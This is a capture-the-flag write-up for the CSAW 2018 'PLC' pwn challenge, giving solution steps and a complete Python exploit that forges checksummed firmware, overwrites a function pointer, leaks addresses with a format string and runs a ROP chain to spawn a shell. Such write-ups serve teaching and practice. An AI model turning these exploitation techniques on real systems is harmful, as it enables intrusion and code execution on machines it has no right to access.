Tags: rop 

Rating:

**Description**

> We've burrowed ourselves deep within the facility, gaining access to the programable logic controllers (PLC) that drive their nuclear enrichment centrifuges. Kinetic damage is necessary, we need you to neutralize these machines.
>
> You can access this challenge at https://wargames.ret2.systems/csaw_2018_plc_challenge
>
> NOTE The wargames platform is out of scope for this challenge, just use it to do the pwnable challenge. Any kind of scanning or misuse will get your ip banned! However, if you do happen to find any security issues, please email us at `contact at ret2.io`

**No files provided**

**Solution** (by [Mem2019](https://github.com/Mem2019))

1. use `x` command to dump the binary, so that we can cheat using IDA.
2. after some reversing, we found that there is overflow and no null termination when we fill `enrichment` string
3. There is a function pointer just after it, which should point to `sub_AB0`, we can leak pie first
4. then after some debugging, we know that when we call that function pointer, the `rdi` points to `enrichment`
5. change that function to `printf`, so we can leak the `libc` address
6. then change it to a ROP gadget, which can let the program go to our ROP chain,
7. because there is a 128-length buffer that we can control in stack
8. use return to syscall using gadgets in libc, since the original `execve` is disabled

```python
import interact
sh = interact.Process()

def u16(st):
assert len(st) == 2
return ord(st[0]) + (ord(st[1]) << 8)

def p16(num):
return chr(num & 0xff) + chr((num >> 8) & 0xff)

def u64(st):
return u16(st[0:2]) + (u16(st[2:4]) << 0x10) + (u16(st[4:6]) << 0x20) + (u16(st[6:8]) << 0x30)

def p64(num):
return p16(num & 0xffff) + p16((num >> 0x10) & 0xffff) + p16((num >> 0x20) & 0xffff) + p16((num >> 0x30) & 0xffff)

def checksum(codes):
codes_len = 1020
assert len(codes) == codes_len
acc = 0
k = 2
for i in xrange(0, codes_len, 2):
acc = u16(codes[i:i+2]) ^ ((k + (((acc << 12) & 0xffff) | (acc >> 4))) & 0xffff)
k += 1
return acc

def make_fw(codes):
codes = "19" + codes
cs = checksum(codes)
ret = "FW" + p16(cs) + codes
assert len(ret) == 0x400
return ret

def update(codes):
sh.send("U\n")
sh.send(make_fw(codes.ljust(1018,"\x00")))

def execute(payload = '', leak = False):
sh.send("E".ljust(8,'\x00') + payload + "\n") #at 11$
if leak:
sh.readuntil("2019")
return sh.readuntil("\x7f")

def status():
sh.send("S\n")
print sh.readuntil("ENRICHMENT MATERIAL: " + 'A' * 68)
ret = sh.readuntil("\n")
ret = ret[:len(ret)-1]
return ret

def make_payload(st):
ret = ""
for c in st:
ret += '2'
ret += c
return ret

def make_format(fmt):
return make_payload("2019" + fmt + "A" * (64-len(fmt)) + p64(prog_addr + 0x900)) #printf

print sh.readuntil("- - - - - - - - - - - - - - - - - - - - \n")
print sh.readuntil("- - - - - - - - - - - - - - - - - - - - \n")
#update("7" * 70 + "31" + "21" * 0x100 + "9")
update("2A" * 68 + "9")
execute()

prog_addr = (u64(status() + "\x00\x00") - 0xAB0)
print hex(prog_addr)
trigger = "7" * 70 + "31" + "9"
update(make_format("%11$s") + trigger)
leak = execute(p64(prog_addr + 0x202018), True) #puts

libc_addr = u64(leak + "\x00\x00") - 0x6f690
print hex(libc_addr)

rop_start = libc_addr + 0x10a407 # add rsp, 0x40 ; ret
pop_rax_ret = libc_addr + 0x33544
pop_rdi_ret = libc_addr + 0x21102
pop_rsi_ret = libc_addr + 0x202e8
pop_rdx_ret = libc_addr + 0x1b92

rop = p64(pop_rax_ret) + '\x3b'.ljust(8, '\x00')# bug? p64(59) #execve
rop += p64(pop_rdi_ret) + p64(libc_addr + 0x18CD57) #/bin/sh
rop += p64(pop_rsi_ret) + p64(0)
rop += p64(pop_rdx_ret) + p64(0)
rop += p64(libc_addr + 0xF725E) #syscall

update(make_payload("2019" + "A" * 64 + p64(rop_start)) + trigger)
execute('A' * 0x10 + rop)

sh.interactive()
```

Original writeup (https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/README.md#300-pwn--plc).